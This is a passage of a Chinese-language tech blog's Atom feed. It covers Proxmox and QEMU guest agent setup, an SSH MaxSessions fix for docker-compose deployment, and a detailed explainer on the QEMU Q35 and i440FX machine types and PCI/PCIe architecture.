&lt;ul&gt;
&lt;li&gt;ich9-intel-hda：英特尔高清音频控制器，模拟 ICH9&lt;&#x2F;li&gt;
&lt;li&gt;intel-hda：英特尔高清音频控制器，模拟 ICH6&lt;&#x2F;li&gt;
&lt;li&gt;AC97 : Audio Codec &#x27;97，适用于 Windows XP 等较旧的操作系统&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;有两个后端可用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;spice&lt;&#x2F;li&gt;
&lt;li&gt;无&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;spice后端可与组合使用SPICE而没有如果需要在虚拟机的音频设备的一些软件，后台的工作可能是有用的。要使用主机的物理音频设备，请使用设备直通（请参阅 PCI 直通和 USB 直通）。像 Microsoft 的 RDP 这样的远程协议可以选择播放声音。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qemu-guest-agent&quot;&gt;Qemu Guest Agent&lt;&#x2F;h2&gt;
&lt;p&gt;Qemu Guest Agent 是运行在 VM 内部的服务，提供主机和来宾之间的通信通道。它用于交换信息并允许主机向来宾发出命令。&lt;&#x2F;p&gt;
&lt;p&gt;例如，VM 摘要面板中的 IP 地址是通过来宾代理获取的。&lt;&#x2F;p&gt;
&lt;p&gt;或者在开始备份时，通过来宾代理告诉来宾通过fs-freeze和fs-thaw命令同步未完成的写入。&lt;&#x2F;p&gt;
&lt;p&gt;要使访客代理正常工作，必须采取以下步骤：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在来宾中安装代理并确保它正在运行&lt;&#x2F;li&gt;
&lt;li&gt;通过 Proxmox VE 中的代理启用通信&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;an-zhuang-fang-ke-dai-li&quot;&gt;安装访客代理&lt;&#x2F;h3&gt;
&lt;p&gt;对于大多数 Linux 发行版，来宾代理可用。该包通常命名为qemu-guest-agent。&lt;&#x2F;p&gt;
&lt;p&gt;对于 Windows，它可以从Fedora VirtIO 驱动程序 ISO安装 。
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fedorapeople.org&#x2F;groups&#x2F;virt&#x2F;virtio-win&#x2F;direct-downloads&#x2F;stable-virtio&#x2F;virtio-win.iso&quot;&gt;https:&#x2F;&#x2F;fedorapeople.org&#x2F;groups&#x2F;virt&#x2F;virtio-win&#x2F;direct-downloads&#x2F;stable-virtio&#x2F;virtio-win.iso&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-yong-fang-ke-dai-li-tong-xin&quot;&gt;启用访客代理通信&lt;&#x2F;h3&gt;
&lt;p&gt;可以在 VM 的选项面板中启用 Proxmox VE 与来宾代理的通信 。要使更改生效，必须重新启动 VM。&lt;&#x2F;p&gt;
&lt;p&gt;可以启用Run guest-trim选项。启用此功能后，Proxmox VE 将在以下操作后向来宾发出修剪命令，这些操作有可能将零写入存储：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;将磁盘移动到另一个存储&lt;&#x2F;li&gt;
&lt;li&gt;将 VM 实时迁移到具有本地存储的另一个节点&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在精简配置存储上，这有助于释放未使用的空间。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gu-zhang-pai-chu&quot;&gt;故障排除&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;虚拟机没有关闭&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;确保来宾代理已安装并正在运行。&lt;&#x2F;p&gt;
&lt;p&gt;一旦启用来宾代理，Proxmox VE 将通过来宾代理发送电源命令，如关闭。如果来宾代理未运行，则无法正确执行命令，并且关闭命令将超时。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH FAQ 问题记录</title>
        <published>2024-06-26T00:00:00+00:00</published>
        <updated>2024-06-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ssh-faq-问题记录/"/>
        <id>https://vercel.juzhong.asia/obsidian/ssh-faq-问题记录/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ssh-faq-问题记录/">&lt;h1 id=&quot;ssh-faq-wen-ti-ji-lu&quot;&gt;SSH FAQ 问题记录&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;the-issue&quot;&gt;The issue&lt;&#x2F;h2&gt;
&lt;p&gt;I recently ran into the following error when trying to deploy remotely using &lt;code&gt;docker-compose&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ERROR: Secsh channel 14 open FAILED: open failed: Connect failed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The issue is that the default SSH connections allowed is set to 10 and the command I was running was trying to use more connections then that.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fixing-the-error&quot;&gt;Fixing the error&lt;&#x2F;h3&gt;
&lt;p&gt;To fix this error you’ll need to connect to your server via SSH and edit the &lt;code&gt;&#x2F;etc&#x2F;sshd_config&lt;&#x2F;code&gt; file. Find the &lt;code&gt;MaxSessions&lt;&#x2F;code&gt; line and uncomment it. The default is 10 as mentioned, I set mine to 20 instead:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;MaxSessions 20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then restart the &lt;code&gt;ssh&lt;&#x2F;code&gt; service:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo service ssh restart
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After that I could run my command successfully, hope this helps you as well!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Qemu win11 虚拟化之Machine Type</title>
        <published>2024-06-25T00:00:00+00:00</published>
        <updated>2024-06-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/qemu-win11-虚拟化之machine-type/"/>
        <id>https://vercel.juzhong.asia/obsidian/qemu-win11-虚拟化之machine-type/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/qemu-win11-虚拟化之machine-type/">&lt;h1 id=&quot;qemu-win11-xu-ni-hua-zhi-machine-type&quot;&gt;Qemu win11 虚拟化之Machine Type&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;qemu-x86jia-gou-de-machine-type&quot;&gt;Qemu X86架构的Machine Type&lt;&#x2F;h2&gt;
&lt;p&gt;QEMU支持的X86架构非常少，在Q35出现之前，就只有诞生于1996年的i440FX + PIIX一个架构。一方面是Intel不断推出新的芯片组， 加入了PCIe、AHCI等等。i440FX已经无法满足需求，为此在 KVM Forum 2012 上Jason Baron带来了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linux-kvm.org&#x2F;images&#x2F;0&#x2F;06&#x2F;2012-forum-Q35.pdf&quot;&gt;A New Chipset For Qemu - Intel’s Q35&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q35-vs-i440fx&quot;&gt;Q35 vs. I440FX&lt;&#x2F;h2&gt;
&lt;p&gt;Q35是Intel在2007年9月推出的芯片组，与I440FX&#x2F;PIIX差别在于：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Q35 has IOMMU&lt;&#x2F;li&gt;
&lt;li&gt;Q35 has PCIe&lt;&#x2F;li&gt;
&lt;li&gt;Q35 has Super I&#x2F;O chip with LPC interconnect&lt;&#x2F;li&gt;
&lt;li&gt;Q35 has 12 USB ports&lt;&#x2F;li&gt;
&lt;li&gt;Q35 SATA vs. PATA&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Irq routing&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Q35 PIRQ has 8 pins - PIRQ A-H&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Q35 has two PIC modes – legacy PIC vs I&#x2F;O APIC&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Q35 runs in I&#x2F;O APIC mode&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Slots 0-24 are mapped to PIRQ E-H round robin&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;PCIe Bus to PIRQ mappings can be programmed&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Slots 25-31&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Q35 has 8 PCI IRQ vectors available, I440FX&#x2F;PIIX4 only 2&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I440FX&#x2F;PIIX4 vs. Q35 devices&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;AHCI vs. Legacy IDE&lt;&#x2F;li&gt;
&lt;li&gt;PCI addresses&lt;&#x2F;li&gt;
&lt;li&gt;Populate slots using flags&lt;&#x2F;li&gt;
&lt;li&gt;Default slots&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;i440fx-piixjia-gou&quot;&gt;i440fx&#x2F;PIIX架构&lt;&#x2F;h3&gt;
&lt;p&gt;Intel 440FX PMC（PCI and Memory Controller）为北桥芯片用于连接主板上的高速设备，向上提供了连接处理器的Host总线接口， 可以连接多个处理器，向下则主要提供了连接内存DRAM的接口和连接PCI总线系统的PCI总线接口， 通过该PCI root port扩展出整个PCI设备树，包括PIIX南桥芯片。&lt;&#x2F;p&gt;
&lt;p&gt;PIIX（PCI ISA IDE Xcelerator）南桥芯片则用于连接主板上的低速设备，主要包括IDE控制器、DMA控制器，USB控制器， SMBus总线控制器，X-Bus控制器，USB控制，PIT（Programmable Interval Timer）， RTC（Real Time Clock，实时时钟)， PIC（可编程中断控制器）等，并且提供PCI-ISA bridge链接ISA总线用于连接更多的低速设备，如键盘、鼠标、BIOS ROM等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;i440fx-piix-architecture.png&quot; alt=&quot;I440FX&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;q35jia-gou&quot;&gt;Q35架构&lt;&#x2F;h2&gt;
&lt;p&gt;北桥为MCH(Memory Controller Hub )，南桥为ICH9(I&#x2F;O Controller Hub)。CPU 通过前端总线(FSB)连接到北桥(MCH)，MCH链接内存，显卡， 高速PCIe接口等，南桥芯片则为USB，低速PCIe &#x2F; SATA 等提供接入。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;q35-chipset-architecture.png&quot; alt=&quot;Q35&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;q35-motherboard-diagram.png&quot; alt=&quot;Motherboard_diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pci-vs-pcie&quot;&gt;PCI vs. PCIe&lt;&#x2F;h2&gt;
&lt;p&gt;Q35与i440FX其中一个最大的差异就是支持PCIe，那么先了解一下PCI与PCIe的差别。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pci-peripheral-component-interconnect&quot;&gt;PCI(Peripheral Component Interconnect)&lt;&#x2F;h3&gt;
&lt;p&gt;PCI（Peripheral Component Interconnect）顾名思义就是外部设备的互联总线。PCI连接基于总线控制， 所有设备&lt;strong&gt;共享双向并行总线&lt;&#x2F;strong&gt;， 总线仲裁规则用于决定PCI挂载的外设什么时间可以访问总线。PCI总线最多支持32个外设， 可以通过PCI-to-PCI bridge(PPB)扩展PCI外设支持，如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;remimin.github.io&#x2F;2019&#x2F;07&#x2F;09&#x2F;qemu_machine_type&#x2F;#PCI%E6%8B%93%E6%89%91&quot;&gt;图1&lt;&#x2F;a&gt;， Bus1&#x2F;Bus2都是由Bus0通过PPB扩展的PCI总线。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-bus-topology.png&quot; alt=&quot;PCI拓扑&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;PCI设备与CPU和内存通过主桥（host bridge）进行通信，如图&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;remimin.github.io&#x2F;2019&#x2F;07&#x2F;09&#x2F;qemu_machine_type&#x2F;#PCI_compute_topo&quot;&gt;PCI体系结构&lt;&#x2F;a&gt;，这种体系结构分隔了I&#x2F;O总线与处理器的主机总线。&lt;&#x2F;p&gt;
&lt;p&gt;PCI主桥 (host bridge) 提供了CPU， 内存和外围组件之间的互连，CPU可以通过PCI主桥 (host bridge)直接访问独立于其他PCI总线主控器的主内存， PCI设备也可以通过该主桥直接访问系统内存。&lt;&#x2F;p&gt;
&lt;p&gt;PCI主桥 (host bridge) 还可提供CPU和外围I&#x2F;O设备之间的数据&lt;strong&gt;地址映射&lt;&#x2F;strong&gt;。该桥会将每个外围设备映射到主机地址域， 以便处理器可以通过地址域访问此设备。主桥(host bridge)也会将系统内存映射到PCI地址域， 以便PCI设备可以作为总线主控器访问主机内存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-compute-topology.gif&quot; alt=&quot;PCI_compute_topo&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;X86架构采用了独立的地址空间，x86使用16位地址总线(也就是64K i&#x2F;o地址空间)对io设备进行寻址，这个地址也称为i&#x2F;o端口。在Linux操作系统中，可以通过&lt;code&gt;&#x2F;proc&#x2F;ioports&lt;&#x2F;code&gt;查看 系统的io端口。PCI包含三种不同的地址空间：配置、内存以及 I&#x2F;O 空间。通过&lt;code&gt;&#x2F;proc&#x2F;ioports&lt;&#x2F;code&gt;可以看到&lt;code&gt;0cf8-0cff : PCI conf1&lt;&#x2F;code&gt;为PCI设备的 io端口。这8个字节实际上构成两个32位的寄存器，第一个是”地址寄存器”0cf8，第二个是”数据寄存器”0cff，CPU与PCI之间交互就是地址寄存器用于 配置和控制外设，数据寄存器用于数据传输。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] PCI 配置空间结构图：每功能 256 字节配置空间，前 64 字节标准配置头（Header 0&#x2F;1），后 192 字节设备特定寄存器；经 CF8h&#x2F;CFCh 端口访问。Header 0 双字布局：00h Device&#x2F;Vendor ID；01h Status&#x2F;Command；02h Class Code&#x2F;Rev ID；04h~09h BAR0~5；0Bh Subsystem ID；0Ch Expansion ROM 基址；0Fh Interrupt Pin&#x2F;Line。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;####　&lt;strong&gt;配置空间&lt;&#x2F;strong&gt;（configuration space）&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;PCI配置空间为256B，是由PCI spec定义的，如图所示，配置空间对pci device是必须的。
PCI头64B是固定的PCI configuration header由两种类型header Type 0代表是PCI设备，Type 1表明是PCI桥。

**Device ID 和 Vendor ID**设备信息和厂商信息

**Command寄存器**
存放了设备的配置信息，比如是否允许 Memory&amp;#x2F;IO 方式的总线操作、是否为主设备等。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-command-register-bits.png&quot; alt=&quot;pci_command_reg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;**Status 寄存器**存放了设备的状态信息，比如中断状态、错误状态等。    ![pci_status_reg](&amp;#x2F;img&amp;#x2F;2019-07-02-qemu_machine_type&amp;#x2F;pci_status_reg.png)

**Header Type 寄存器**定义了设备类型，比如 PCI 设备、PCI 桥。

**基址寄存器(BAR)**PCI设备的io地址空间和内存空间的基址，是可选的，当pci device需要配置时
进行配置。基址寄存器的位 0 包含的值用于标识类型。位 0 中的值为 0 表示内存空间，值为 1 表示 I&amp;#x2F;O 空间。
下图显示了两种基址寄存器： 一种表示内存类型，另一种表示 I&amp;#x2F;O 类型。PCI 设备最多有6个基址寄存器，
而 PCI 桥最多有2个基址寄存器。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-bar-memory-layout.png&quot; alt=&quot;pci_bar_mem&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-bar-io-format.png&quot; alt=&quot;pc_bar_mem&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;**Subordinate Bus Number，Secondary Bus Number 和 Primary Bus Number 寄存器**

这三个寄存器只在 PCI 桥配置空间中存在，因为 PCI 桥会连接两条 PCI 总线，上行的总线被称为 Primary Bus，
下行的总线被称为 Secondary Bus，Primary Bus Number 和 Secondary Bus Number 寄存器分别存储了上行和下行总线的编号，
而 Subordinate Bus Number 寄存器则是存储了当前桥所能直接或者间接访问到的总线的最大编号。

**Capabilities Pointer**

开启Capbility支持需要在status register中，对应的bit设置为1. PCI设备capabilities是链表模式的。
那么何谓Capabilities呢？它是PCI 2.2新加入的一个特性，之所以加入是因为当初规定所有PCI SPEC相关的配置寄存器都要放在PCI header内，
到PCI2.2以后发现新加入的register在Configuration Header Space中放不下了，所以引入了Capabilities List。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PCI 内存地址空间(MMIO space)&lt;&#x2F;strong&gt;
对于不采用独立编址的系统架构，对于I&#x2F;O设备的访问是通过内存映射的方式进行，MMIO space类似于   X86系统的I&#x2F;O port。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PCI I&#x2F;O 地址空间(IO space)&lt;&#x2F;strong&gt;
PCI支持32位 I&#x2F;O 空间。可以在不同的平台上以不同方式访问 I&#x2F;O 空间。带有特殊 I&#x2F;O 指令的处理器，如Intel处理器系列   使用&lt;code&gt;in&lt;&#x2F;code&gt;和&lt;code&gt;out&lt;&#x2F;code&gt;指令访问I&#x2F;O 空间。没有特殊I&#x2F;O 指令的计算机将映射到对应于主机地址域中 PCI 主桥 (host bridge) 的地址位置。   处理器访问内存映射的地址时，会向PCI主桥 (host bridge) 发送一个 I&#x2F;O 请求，   该主桥 (host bridge) 随后会将地址转换为 I&#x2F;O 周期并将其放置在 PCI 总线上。内存映射的I&#x2F;O通过处理器的本机装入&#x2F;存储指令执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;pci-zhong-duan-ji-zhi&quot;&gt;PCI 中断机制&lt;&#x2F;h4&gt;
&lt;p&gt;在PCI协议中规定，每个设备支持对多四个中断信号，INTA，INTB，INTC，INTD。中断是电平触发的，当信号线为低电平，这引发中断。 一旦产生中断，则该信号线则一直保持低电平，直到驱动程序清除这个中断请求。这些信号线可以连接在一起。 在设备的配置空间里(Configuration Space)有一组寄存器(Interrupt Pin)表明一个功能(Function)使用哪个中断信号。&lt;&#x2F;p&gt;
&lt;p&gt;所有的中断信号都与系统的可编程中断路由器(Programmable Interrupt Router)相连，这个路由器有四个中断输入接口。 设备与这个路由器的中断输入接口怎么相连是系统的设计者在设计系统的时候就已经决定了，用户是不能改变的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pcie-peripheral-component-interconnect-express&quot;&gt;PCIe(Peripheral Component Interconnect Express)&lt;&#x2F;h3&gt;
&lt;p&gt;PCI Express (Peripheral Component Interconnect Express) 很明显就是高速的外部设备互联。 PCIe相对于PCI共享总线模式，采用的是Point-to-Point总线拓扑，PCIe中每个device都有自己的专属总线称为&lt;code&gt;link&lt;&#x2F;code&gt;， &lt;code&gt;lane&lt;&#x2F;code&gt;是一对差分信号组成，分别负责收发数据（Rx&#x2F;Tx)，也称作x1通道。 device之间的通路称为&lt;code&gt;link&lt;&#x2F;code&gt;，是由一组&lt;code&gt;lane&lt;&#x2F;code&gt;组成的单双工通道，n组&lt;code&gt;lane&lt;&#x2F;code&gt;组成的link提高了传输带宽。 通常看到的，PCIe x4等类似的，表明了通道数量为4。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pcie-lane-link-diagram.png&quot; alt=&quot;PCIe_lane_link&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Root Complex链接CPU memory 和PCIe设备。最多支持256 bus， 每个bus最多支持32个PCIe设备， 每个设备最多8个functions，每个function对应4KB配置空间。PCIe从硬件层面看与PCI由很大不同，如图所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pcie-topology.png&quot; alt=&quot;PCIe拓扑&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;qemu-win11-machine-type&#x2F;pci-vs-pcie.png&quot; alt=&quot;PCI_vs_PCIe&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pciepei-zhi-kong-jian&quot;&gt;&lt;strong&gt;PCIe配置空间&lt;&#x2F;strong&gt;&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;从软件层面看，PCIe配置空间从258B增加到了4KB，为了保证与PCI协议的兼容性，PCIe即支持io port访问，也支持mmio访问，
但是超过256B的配置空间访问则只能通过MMIO的方式。

![PCIe_config_space](&amp;#x2F;img&amp;#x2F;2019-07-02-qemu_machine_type&amp;#x2F;PCIe_conf_space.png)

*  **PCIe Extended Capabilities**

与PCI的capabilities类似采用链表结构，只是起始的为100H

* **PCIe ARI Extended Capabilities**

PCIe链路采用端到端的通信方式，每一个链路只能挂接一个设备，因此在多数情况下，使用3位描述Device Number是多余的，
因此PCIe V2.1总线规范提出了ARI (Alternative Routing-ID Interpretation)格式，ARI格式将ID号分为两个字段，
分别为Bus号和Function号，而不使用Device号，ARI格式如图所示。

|---|---|
|7：0|7：0|
|---|---|
|Bus No. | Function No. |
|---|---|

PCIe总线引入ARI格式的依据是在一个PCIe链路上仅可能存在一个PCIe设备，因而其Device号一定为0。
一个PCIe设备最多可以支持**256**个Function，而传统的PCIe设备最多只能支持8个Function。

* **SR-IOV Extended Capability**

SR-IOV(single root I&amp;#x2F;O virtualization)

PCI-SIG定义的PCIe设备的I&amp;#x2F;O虚拟化标准，主要目标就是将单个的PCIe设备可以虚拟化为多个，包含两个概念PF &amp;amp; VF

- PF (Physical Function)： 包含完整的PCIe功能，包括SR-IOV的扩张能力，该功能用于SR-IOV的配置和管理。
- VF (Virtual Function)： 包含轻量级的PCIe功能。每一个VF有它自己独享的PCI配置区域，并且可能与其他VF共享着同一个物理资源

* **其他的capabilities**

- Function Level Reset (FLR)
- Advanced Error Reporting (AER)
- Access Control Services (ACS)
- etc...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;pciezhong-duan-ji-zhi&quot;&gt;PCIe中断机制&lt;&#x2F;h4&gt;
&lt;pre&gt;&lt;code&gt;在PCI总线中，所有需要提交中断请求的设备，必须能够通过INTx引脚提交中断请求，而MSI机制是一个可选机制。而在PCIe总线中，
PCIe设备必须支持MSI或者MSI-X中断请求机制，而可以不支持INTx中断消息。PCIe设备在提交MSI中断请求时，
是向MSI&amp;#x2F;MSI-X Capability结构中的Message Address的地址写Message Data数据，从而组成一个存储器写TLP，向处理器提交中断请求。

MSI和MSI-X机制的基本原理相同，其中MSI中断机制最多只能支持32个中断请求，而且要求中断向量连续，而MSI-X中断机制可以支持更多的中断请求，
而并不要求中断向量连续。与MSI中断机制相比，MSI-X中断机制更为合理。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参考链接&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.ibm.com&#x2F;developerworks&#x2F;cn&#x2F;linux&#x2F;l-cn-pci&#x2F;index.html&quot;&gt;浅谈 Linux 内核开发之 PCI 设备驱动&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linux-kvm.org&#x2F;images&#x2F;0&#x2F;06&#x2F;2012-forum-Q35.pdf&quot;&gt;A New Chipset For Qemu - Intel’s Q35&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;zszmhd&#x2F;archive&#x2F;2012&#x2F;05&#x2F;08&#x2F;2490105.html&quot;&gt;PCI设备地址空间&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;mcu.eetrend.com&#x2F;content&#x2F;2018&#x2F;100012210.html&quot;&gt;详解io端口与io内存&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pcisig.com&#x2F;sites&#x2F;default&#x2F;files&#x2F;files&#x2F;PCI_Express_Basics_Background.pdf&quot;&gt;PCI Express® Basics &amp;amp;Background&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;feiskyer&#x2F;sdn-handbook&#x2F;blob&#x2F;master&#x2F;linux&#x2F;sr-iov.md&quot;&gt;sr-iov&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.deansys.com&#x2F;doc&#x2F;ldd3&#x2F;ch12.html&quot;&gt;Linux设备驱动之PCI设备&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;wiki.qemu.org&#x2F;images&#x2F;f&#x2F;f6&#x2F;PCIvsPCIe.pdf&quot;&gt;PCI vs. PCIe&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;example61560.wordpress.com&#x2F;2016&#x2F;06&#x2F;30&#x2F;pcipcie-%E6%80%BB%E7%BA%BF%E6%A6%82%E8%BF%B05&#x2F;&quot;&gt;PCI&#x2F;PCIE 总线概述(5)—PCIE总线事务层&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;PCI-Express&quot;&gt;知乎PCIe专栏&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;example61560.wordpress.com&#x2F;2016&#x2F;06&#x2F;30&#x2F;pcipcie-%E6%80%BB%E7%BA%BF%E6%A6%82%E8%BF%B06&#x2F;&quot;&gt;MSI和MSI-X中断机制&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.10tiao.com&#x2F;html&#x2F;606&#x2F;201808&#x2F;2664605565&#x2F;1.html&quot;&gt;Linux中断机制：硬件处理，初始化和中断处理&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>UEFI之虚拟环境（OVMF）seabios --- ovmf</title>
        <published>2024-06-25T00:00:00+00:00</published>
        <updated>2024-06-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/uefi之虚拟环境-ovmf-seabios-ovmf/"/>
